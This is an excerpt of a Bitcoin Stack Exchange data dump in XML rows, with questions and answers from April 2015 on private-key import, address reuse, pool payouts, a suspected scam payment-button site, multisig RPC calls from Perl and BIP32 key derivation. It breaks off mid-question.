  <row Id="36878" PostTypeId="2" ParentId="36876" CreationDate="2015-04-11T16:03:02.723" Score="0" Body="&lt;p&gt;I'm not familiar with Peerunity but here is how things work in bitcoin-qt, which is probably similar unless Peerunity changed something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;importprivkey&lt;/code&gt; accepts exactly the same format output by &lt;code&gt;dumpprivkey&lt;/code&gt;.  The dumped private key is not encrypted in any way (if the walled was encrypted, you had to give the passphrase before dumping so that it could be decrypted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most likely explanation is that you wrote down the key incorrectly.  Private keys usually include &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;a checksum&lt;/a&gt; so that errors can be detected immediately, and that seems to be what is failing here.  It shouldn't matter that the wallet is out of sync; importing a key doesn't need access to the network (though you will need to sync with the network to get an up-to-date balance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you made a mistake when writing down the key, you may be able to do something similar to the approach in the question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28244/can-you-help-me-fix-this-address/28259#28259&quot;&gt;Can you help me fix this address?&lt;/a&gt; to try changing a few characters at a time in hopes of recovering the correct key.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-04-11T16:03:02.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36879" PostTypeId="1" CreationDate="2015-04-11T17:26:15.347" Score="1" ViewCount="139" Body="&lt;p&gt;Apps that use bitcoin contains transactions e.g. deal with a real money. Google says that if we deal with a real money, it has to go over their in-app billing service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked other bitcoin apps on the Google Play, but neither of them seem to have in-app billing implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do I have to implement in-app billing for bitcoin-like app or I can make transaction without it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to build and publish the app which will be blocked as violating TOS.&lt;/p&gt;&#xA;" OwnerUserId="25030" LastEditorUserId="2306" LastEditDate="2015-04-11T17:44:29.357" LastActivityDate="2015-04-11T17:44:29.357" Title="Do we need in-app billing for bitcoin-like app?" Tags="|android|mobile|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36881" PostTypeId="2" ParentId="8439" CreationDate="2015-04-11T18:23:24.063" Score="2" Body="&lt;p&gt;I suspect it has something to do with the M1 USD supply at the time Satoshi was developing Bitcoin.  If you look at the decade prior to the white paper, inclusive of the quantitative easing period commencing with the 2008 housing bubble, the M1 money supply shows a trendline with a slope of ~58, using years as 4 digit integers.  This means, that if predicting M1 over the next decade (from 2009 to 2019), there would be an expected M1 of 2.1 trillion USD, at which point 90% of all bitcoin will have been mined.  Because Bitcoin is designed with an 8 decimal fraction system, the 21 million total BTC can actually be expressed as 21,000,000.00M = 21,000.00Billion = 21.00Trillion.  So roughly 9x functional BTC will exist relative the USD.  Using the M1 trendline to predict M1 in 2140, we see an expected ~10Trillion, which relative to the 21Trillion functional BTC, still gives us a 2x cushion on volume.  And mathematically, we've seen noted elsewhere in this Q&amp;amp;A that the 4 year halving schedule of the coinbase gives us 21Million BTC.  So, there's a convenient convergence of predicted volume needs &amp;amp; reward schedule @ 21Million BTC.  (But realistically, this is probably just me seeing signal where I want to see signal, and not actually Satoshi's anticipation of volume.)&lt;br&gt;&lt;br&gt;&#xA;I think another curious question is why the 4 year halving schedule? Is this based on national US elections?  Is it based on a calendar Leap Year?  Is it Satoshi's approximation of a reasonable re-evaluation period for BTC participation rates?&lt;br&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QpV4t.png&quot; alt=&quot;M1 Supply &amp;amp; Trend from St Louis Fed (FRED)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25029" LastActivityDate="2015-04-11T18:23:24.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36883" PostTypeId="1" CreationDate="2015-04-11T22:14:51.530" Score="1" ViewCount="136" Body="&lt;p&gt;Is there a function or mechanism in the bitcoin protocol that prevents someone from creating millions or billions of bitcoin addresses and just sitting on them? Do the addresses need a minimum balance of outputs? or Does that distributed DB save each address? (And if it is saved....what is saved?  The base58 address or the full Public Key? I am also familiar with the ecdsa algorithm.)&lt;/p&gt;&#xA;" OwnerUserId="25035" LastActivityDate="2015-04-11T22:47:11.627" Title="Is there A Mechanism In Place that Prevent Address 'Squatting'?" Tags="|bitcoind|address|" AnswerCount="1" CommentCount="1" ClosedDate="2015-04-11T22:47:18.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="36884" PostTypeId="2" ParentId="36877" CreationDate="2015-04-11T22:42:38.617" Score="4" Body="&lt;p&gt;Assuming people chose adequate quorum slices and the system has quorum intersection (which is how the system is intended to be used), then with Stellar's new consensus protocol, at least one of the two partitions would be unable to settle transactions for the duration of the network outage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stellar does allow for redundancy, in that validators can have multiple slices.  For example, a slice might consist of any 5 out of 7 validators spread across countries.  In that case, if the partitioned country has only 1 or 2 validators, the rest of the world can continue to make progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This kind of scenario is actually unavoidable.  You have to chose at most two out of Consistency, Availability, and Partition tolerance.  This is sometimes known as &quot;Brewer's theorem&quot; because Eric Brewer conjectured it and Seth Gilbert and Nancy Lynch subsequently proved it.  See: &lt;a href=&quot;http://www.cs.luc.edu/~pld/353/gilbert_lynch_brewer_proof.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.cs.luc.edu/~pld/353/gilbert_lynch_brewer_proof.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24989" LastActivityDate="2015-04-11T22:42:38.617" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36885" PostTypeId="2" ParentId="36883" CreationDate="2015-04-11T22:47:11.627" Score="2" Body="&lt;p&gt;The network doesn't require proven ownership to make an address valid, otherwise one would never be able to send bitcoins to a new address. Any address in the address space can receive a transaction at any time. Also see here: &#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/13225/5406&quot;&gt;At what point is a new wallet known by the Bitcoin network?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a great number of addresses is possible, but impractical, because the address space is simply too big for anyone to even store a significant portion of the addresses. See a more thorough explanation here:&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/22/5406&quot;&gt;Is it possible to brute force bitcoin address creation in order to steal money?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the &quot;That distributed DB&quot; refers to the Blockchain, the Blockchain stores every transaction ever made on the Bitcoin network. See &lt;a href=&quot;https://bitcoin.stackexchange.com/q/168/5406&quot;&gt;What is the “blockchain”?&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1600/5406&quot;&gt;Where are the user's bitcoins actually stored?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-04-11T22:47:11.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36889" PostTypeId="2" ParentId="36839" CreationDate="2015-04-12T15:24:27.507" Score="3" Body="&lt;p&gt;Thomas Voegtlin , the developer of Electrum explains the reasoning in the first 10 minutes of this interview. I think he also posted same thing to Bitcoin dev mailing list some time ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://letstalkbitcoin.com/blog/post/epicenter-bitcoin-69-thomas-voegtlin-electrum-spv-wallets-and-bitcoin-aliases&quot; rel=&quot;nofollow&quot;&gt;https://letstalkbitcoin.com/blog/post/epicenter-bitcoin-69-thomas-voegtlin-electrum-spv-wallets-and-bitcoin-aliases&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His main point against BIP39 is that it doesn't include a version number, and the requirement of the word list dictionary in order to implement it. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-04-12T15:24:27.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36890" PostTypeId="1" CreationDate="2015-04-12T19:44:48.443" Score="2" ViewCount="128" Body="&lt;p&gt;I was playing with the website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://embedbitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;http://embedbitcoin.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to generate a payment button for my website. It asks for your bitcoin address, but when you click &quot;Send Bitcoin&quot; from the generated button, the address it outputs for the user is different than the one originally input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That seems fishy, and I don't currently have any BTC to test that it is what it says it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If each address is unique, it is my understanding that it can't be linked to a single account, and therefore no other addresses could be generated from it, and this seems like a scam to send money to someone else's account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this understanding correct? Is this a scam?&lt;/p&gt;&#xA;" OwnerUserId="25044" LastActivityDate="2015-04-12T22:20:36.260" Title="Button generating code altering addresses" Tags="|website-integration|fraud|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36891" PostTypeId="2" ParentId="36800" CreationDate="2015-04-12T21:57:09.613" Score="2" Body="&lt;p&gt;I'm not aware of any Java mining code existing, and I would not expect it to: mining needs to be as fast as possible, so you wouldn't want to write it in a language that runs on a virtual machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the reference implementation, Bitcoin Core, stands as the ultimate  documentation of the protocol, and it is written in C++, I would say that anyone doing research on Bitcoin needs at least a competent reading knowledge of C++. Once you have that, you can read the mining code in Bitcoin Core.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-04-12T21:57:09.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36892" PostTypeId="2" ParentId="36890" CreationDate="2015-04-12T22:01:34.647" Score="1" Body="&lt;p&gt;Looks like scam yeah. It looks like they are asking for one normal bitcoin address, so any address they generate will NOT be yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it would be possible to do such a thing if they would ask for the xpub seed of your HD wallet. Even then though it wouldn't make sense to trust a service like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stay away!&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-04-12T22:01:34.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36893" PostTypeId="2" ParentId="36890" CreationDate="2015-04-12T22:20:36.260" Score="0" Body="&lt;p&gt;It looks like this just re-uses Blockchain.info's donation creation system, and tacks on a piece of javascript that doesn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just use that instead. Blockchain.info is a pretty reputable company. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/create_donation_button?address=1933phfhK3ZgFQNLGSDXvqCn32k2buXY8a&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/create_donation_button?address=1933phfhK3ZgFQNLGSDXvqCn32k2buXY8a&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Remember to change the address I put in.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-12T22:20:36.260" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36894" PostTypeId="2" ParentId="36800" CreationDate="2015-04-12T23:54:03.163" Score="4" Body="&lt;p&gt;One of the very fist GPU miners was in java using OpenCL.  It was called DiabloMiner and you can find the source here;-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Diablo-D3/DiabloMiner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Diablo-D3/DiabloMiner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It hasn't been updated the the past two years but it is still fully functional.&lt;/p&gt;&#xA;" OwnerUserId="23236" LastActivityDate="2015-04-12T23:54:03.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36895" PostTypeId="1" AcceptedAnswerId="36898" CreationDate="2015-04-13T13:33:13.710" Score="3" ViewCount="673" Body="&lt;p&gt;Has anyone experience using the &lt;a href=&quot;http://bitcore.io/guide/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcore&lt;/a&gt; API for Escrow purposes with node.js?&lt;/p&gt;&#xA;&lt;p&gt;I assume, you'd need to create a new a address, then somehow create a new transaction using the newly created address, the probe that address for it's balance until its fulfilled.  I've had a look over the docs, but couldn't find anything.  Currently you can run bitcoind on a server and connect to this using RPC, but I'd like to try using Bitcore instead but achieve the same result.&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18969" LastEditorUserId="18969" LastEditDate="2021-05-25T10:24:25.383" LastActivityDate="2021-05-25T10:24:25.383" Title="Using Bitcore API for Escrow" Tags="|transactions|node.js|bitcore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36898" PostTypeId="2" ParentId="36895" CreationDate="2015-04-13T16:25:03.837" Score="2" Body="&lt;p&gt;Great question!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd take a look at &lt;a href=&quot;http://bitcore.io/guide/#Create_a_Multisig_Address&quot; rel=&quot;nofollow&quot;&gt;multi-sig construction in Bitcore&lt;/a&gt;, and pair this with &lt;a href=&quot;https://github.com/bitpay/bitcore-wallet-service&quot; rel=&quot;nofollow&quot;&gt;bitcore-wallet-service&lt;/a&gt;.  Some combination of these two items, with an agent to act as a signatory for a third key, would build a powerful escrow service in very short order.&lt;/p&gt;&#xA;" OwnerUserId="1600" LastActivityDate="2015-04-13T16:25:03.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36899" PostTypeId="1" AcceptedAnswerId="36901" CreationDate="2015-04-13T17:38:29.270" Score="4" ViewCount="1068" Body="&lt;p&gt;We're a Foundation with board members across various countries. We have some difficulty setting up a bank account. It's definitely easier to create a Bitcoin wallet, but we want more than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some conditions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We want to keep track and control funds without too much overhead.&lt;/li&gt;&#xA;&lt;li&gt;We want unique addresses for each donation, so a e.g. multisig electrum wallet wouldn't be ideal.&lt;/li&gt;&#xA;&lt;li&gt;We don't mind relying on a 3rd party service.&lt;/li&gt;&#xA;&lt;li&gt;We don't have a bank account yet (so BitPay might not work for us).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What would be a good solution for us?&lt;/p&gt;&#xA;" OwnerDisplayName="user5672" LastEditorDisplayName="user5672" LastEditDate="2018-12-10T14:35:51.250" LastActivityDate="2018-12-10T14:35:51.250" Title="What's a good way to receive donations?" Tags="|donation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="36901" PostTypeId="2" ParentId="36899" CreationDate="2015-04-13T19:09:54.980" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.coinbase.com/merchant_tools&quot; rel=&quot;nofollow&quot;&gt;Coinbase.com has merchant tools&lt;/a&gt; that allow non-profits et al. to accept donations.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-04-13T19:09:54.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36902" PostTypeId="1" AcceptedAnswerId="36906" CreationDate="2015-04-13T19:19:29.660" Score="2" ViewCount="345" Body="&lt;p&gt;When I pool mine, do my payments come from the pool operator's personal account? From the pool's wallet? Or from somewhere else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow&quot;&gt;P2Pool&lt;/a&gt;, the payments appear in &lt;code&gt;bitcoin-qt&lt;/code&gt; as though I had mined the block myself.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2016-02-08T12:53:05.127" LastActivityDate="2016-02-08T12:53:05.127" Title="Who pays me when pool mining?" Tags="|mining-pools|p2pool|pool-payout-methods|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36903" PostTypeId="1" AcceptedAnswerId="36905" CreationDate="2015-04-13T20:03:05.250" Score="1" ViewCount="216" Body="&lt;p&gt;I'm trying to create a multisig address with JSON::RPC::Client but I don't know how to pass the parameters. I can pass simple params such as in &lt;code&gt;validateaddress&lt;/code&gt; that requires only &lt;code&gt;&amp;lt;bitcoinaddress&amp;gt;&lt;/code&gt;. Working example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$obj = { method  =&amp;gt; 'validateaddress', params =&amp;gt; [&quot;$just_a_bit_address_in_string&quot;],};&#xA;$res = $client-&amp;gt;call($uri, $obj);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when it comes to other types of parameters such as in &lt;code&gt;createmultisig&lt;/code&gt;,  that the required params are &lt;code&gt;&amp;lt; nrequired &amp;gt; &amp;lt;'[&quot;key,&quot;key&quot;]'&amp;gt;&lt;/code&gt;, I don't know to pass it to &lt;code&gt;$obj&lt;/code&gt;. How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="25059" LastEditorUserId="2306" LastEditDate="2015-11-24T23:32:24.837" LastActivityDate="2015-11-24T23:32:24.837" Title="How to pass parameters for multisignature addresses from Perl to the JSON::RPC::Client?" Tags="|development|json-rpc|multi-signature|perl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36904" PostTypeId="2" ParentId="10759" CreationDate="2015-04-13T21:28:02.947" Score="0" Body="&lt;p&gt;The signatures produced in this process include more metadata than usual to assist in public key recovery. It includes recovery flags (an 8-bit integer), which encodes whether the public key was compressed, and a specific recovery ID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the Secg PDF &lt;a href=&quot;http://www.secg.org/sec1-v2.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.secg.org/sec1-v2.pdf&lt;/a&gt; points out (page 47) - given (r, s) you can recover a set of probable public keys. The recovery ID makes this an explicit derivation of the correct public key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Including whether the public key is compressed is also important. Bitcoin signatures are verified by an address, not a public key!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your signature looks like this: [32 bytes of r] [32 bytes of s] [recoveryFlags], and is usually base64 encoded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given one of these signatures, and a bitcoin address, the verification works as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;generating the public key&lt;/li&gt;&#xA;&lt;li&gt;encoding it correctly (compression)&lt;/li&gt;&#xA;&lt;li&gt;hashing the result &lt;/li&gt;&#xA;&lt;li&gt;compare the hash against the hash extracted from the supplied bitcoin address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-04-13T21:28:02.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36905" PostTypeId="2" ParentId="36903" CreationDate="2015-04-13T22:00:58.593" Score="0" Body="&lt;p&gt;The &lt;code&gt;[&quot;key,&quot;key&quot;]&lt;/code&gt; part of the documentation means that it expects an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to call it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$obj = {method  =&amp;gt; 'createmultisig', params =&amp;gt; [2, [&quot;$key1&quot;, &quot;$key2&quot;]],};&#xA;$res = $client-&amp;gt;call($uri, $obj);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="25059" LastEditDate="2015-04-13T22:26:20.060" LastActivityDate="2015-04-13T22:26:20.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36906" PostTypeId="2" ParentId="36902" CreationDate="2015-04-13T22:23:40.207" Score="5" Body="&lt;p&gt;Broadly speaking, there are two ways of paying pool miners. The first way is to have a wallet and send payments to miners through that when they ask for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second way, which both eligius.st and p2pool use, is to keep track of how many shares people get, and set the coinbase transaction to pay the block reward directly to them once a block is found. This has the advantage that you never have any Bitcoins to steal on your pool server.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-13T22:23:40.207" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36907" PostTypeId="1" AcceptedAnswerId="36913" CreationDate="2015-04-14T06:00:16.160" Score="1" ViewCount="136" Body="&lt;p&gt;Recently, a marketplace was said to have been reusing deposit addresses, such that clicking the &lt;em&gt;&quot;get new address&quot;&lt;/em&gt; button would immediately give the user a different address, however, the &quot;new address&quot; was sometimes already funded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needless to say, this is terrible OPSEC, but I'm wondering how such an issue could arise. Is it a faulty implementation of BIP32? This seems more likely than reusing keypool addresses for &lt;em&gt;bitcoind&lt;/em&gt;, but I'm curious how this issue could arise.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-14T20:06:48.297" Title="Reuse of addresses by a service (&quot;get new address&quot; returning *funded* addresses)" Tags="|security|address|wallet-security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36909" PostTypeId="2" ParentId="36853" CreationDate="2015-04-14T08:11:36.140" Score="1" Body="&lt;p&gt;You can also use the &lt;a href=&quot;http://blockexplorer.com/q/totalbc&quot; rel=&quot;nofollow&quot;&gt;BlockExplorer API&lt;/a&gt; &lt;em&gt;totalbc&lt;/em&gt; query: &lt;code&gt;http://blockexplorer.com/q/totalbc/####&lt;/code&gt;, where &lt;code&gt;####&lt;/code&gt; can be a past or future block number, and the return value is the total BTC in circulation. &lt;em&gt;&lt;a href=&quot;http://blockexplorer.com/q/bcperblock&quot; rel=&quot;nofollow&quot;&gt;bcperblock&lt;/a&gt;&lt;/em&gt; may also be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://blockexplorer.com/q/&quot; rel=&quot;nofollow&quot;&gt;BlockExplorer.com/q/&lt;/a&gt; for a full list of queries. &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-14T08:11:36.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36911" PostTypeId="2" ParentId="29815" CreationDate="2015-04-14T14:38:49.633" Score="7" Body="&lt;p&gt;Stellar rewrote their code base using a different consensus algorithm (&lt;a href=&quot;https://www.stellar.org/papers/stellar-consensus-protocol.pdf&quot;&gt;https://www.stellar.org/papers/stellar-consensus-protocol.pdf&lt;/a&gt;). Now the technology is quite different than ripple's. &lt;/p&gt;&#xA;" OwnerUserId="25048" LastActivityDate="2015-04-14T14:38:49.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36913" PostTypeId="2" ParentId="36907" CreationDate="2015-04-14T20:06:48.297" Score="1" Body="&lt;p&gt;Keep in mind that the marketplace in question may not use &lt;em&gt;bitcoind&lt;/em&gt;, and if they do, may not use it in the most sensible way. Some possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A list of addresses was generated. When it reaches the end of the list, it loops back to the beginning and reuses the old addresses, assuming that nobody should reuse their old one again. (this is a poor design: addresses should not be reused for privacy, and so that in case someone sends to an old address, you know whose is whose)&lt;/li&gt;&#xA;&lt;li&gt;The addresses were generated with such low entropy that the same addresses were created and used again. (this is a &lt;strong&gt;serious&lt;/strong&gt; security flaw in their setup)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In either case, it's possible that either...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the system records &lt;em&gt;both&lt;/em&gt; accounts as owning the address (which is very bad, since you can both spend each other's money), or&lt;/li&gt;&#xA;&lt;li&gt;only &lt;em&gt;one&lt;/em&gt; of the accounts as owning the address. Which is very bad if the one owning it is the old one, since new funds are likely to be sent to the wrong person; or only slightly bad if the one owning it is the new one, since the old account owner may be inactive and should not reuse his old address anyway if he makes another deposit.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regardless of the details (which you as a user aren't going to know anyway), it would make me very hesitant to use the marketplace, since it points to a dangerously sloppy design.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2015-04-14T20:06:48.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36914" PostTypeId="1" AcceptedAnswerId="36916" CreationDate="2015-04-14T20:11:39.340" Score="2" ViewCount="608" Body="&lt;p&gt;Why are AntMiners' firmware closed-source / non-GPL? What does Bitmain have to lose by making the source open?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-04-14T23:00:11.713" Title="Why are AntMiners' firmware closed-source / non-GPL?" Tags="|open-source|antminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36915" PostTypeId="1" CreationDate="2015-04-14T22:40:26.123" Score="1" ViewCount="32" Body="&lt;p&gt;I am looking for trade / transaction volume charts for Omni assets like &lt;a href=&quot;http://www.ripplecharts.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.ripplecharts.com/&lt;/a&gt; (seeking information of for example - how many MaidSafeCoins have been traded in the last week and for how much). Is such a resource available anywhere?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-04-14T22:40:26.123" Title="Is there a volume chart for Omni assets?" Tags="|raw-data|charts|omni|historical-trade-data|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-23T09:42:23.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="36916" PostTypeId="2" ParentId="36914" CreationDate="2015-04-14T23:00:11.713" Score="2" Body="&lt;p&gt;The ASIC &quot;arms-race&quot; is all about having cutting edge technology. In a &lt;a href=&quot;http://motherboard.vice.com/read/chinas-biggest-secret-bitcoin-mine&quot; rel=&quot;nofollow&quot;&gt;recent Motherboard article&lt;/a&gt; about a mining farm, the hardware was not even allowed to be specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider also that both SHA256/Scrypt ASIC manufacturers were clamoring to bring smaller nanometer sized chips - and the associated R&amp;amp;D costs - and it's probably more a question of why a company &lt;em&gt;would&lt;/em&gt; make their hardware open source.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-14T23:00:11.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36917" PostTypeId="1" CreationDate="2015-04-15T00:42:29.710" Score="5" ViewCount="1894" Body="&lt;p&gt;&lt;a href=&quot;http://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;Pybitcointools&lt;/a&gt; uses &lt;a href=&quot;https://github.com/vbuterin/pybitcointools/blob/master/bitcoin/deterministic.py#L135&quot; rel=&quot;nofollow&quot;&gt;the following code&lt;/a&gt; for calculating a master private key (BIP32) from a seed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def bip32_master_key(seed, vbytes=MAINNET_PRIVATE):&#xA;    I = hmac.new(from_string_to_bytes(&quot;Bitcoin seed&quot;), seed, hashlib.sha512).digest()&#xA;    return bip32_serialize((vbytes, 0, b'\x00'*4, 0, I[32:], I[:32]+b'\x01'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why - specifically - is the byte string &lt;code&gt;Bitcoin seed&lt;/code&gt; used in the HMAC algorithm? When one considers that the byte strings &lt;code&gt;Mnemonic&lt;/code&gt; and &lt;code&gt;Electrum&lt;/code&gt; are used in HMAC derivations (in BIP39/quasi BIP39, respectively), the label&lt;strong&gt;s&lt;/strong&gt; seem overly non-specific. I'm wondering why the byte string doesn't clarify or specify a version, &lt;em&gt;eg BIP32 V0.1 seed&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of this is criticism, to be clear! I'm trying to elucidate how these decisions were chosen and implemented, which is often very difficult without being intimately knowledgeable in RFCs, Github etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps this could be explained in context of how HMAC works also?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-04-16T14:09:35.933" LastActivityDate="2015-04-16T14:09:35.933" Title="HMAC &quot;Bitcoin Seed&quot; for BIP32" Tags="|cryptography|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36918" PostTypeId="1" AcceptedAnswerId="36923" CreationDate="2015-04-15T01:05:53.597" Score="2" ViewCount="1344" Body="&lt;p&gt;Hierarchy deterministic wallets have a master public key. I fully understand elliptic curve's concept regarding to the private and public keys.&lt;br/&gt;&#xA;I also understand the concept that &lt;a href=&quot;https://bitcointalk.org/index.php?topic=19137.0&quot; rel=&quot;nofollow&quot;&gt;Maxwell&lt;/a&gt; described here to generate new public keys without knowing their corresponding private keys by only knowing the master public key.&#xA;Based on Maxwell's idea if someone gets two of the children's public keys with some simple math can calculate the master public key which allows him to generate all of the user's future bitcoin addresses. &#xA;So my question is&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does HD wallet use the same mechanism explained by Maxwell to generate new public keys?&lt;/li&gt;&#xA;&lt;li&gt;How does an HD 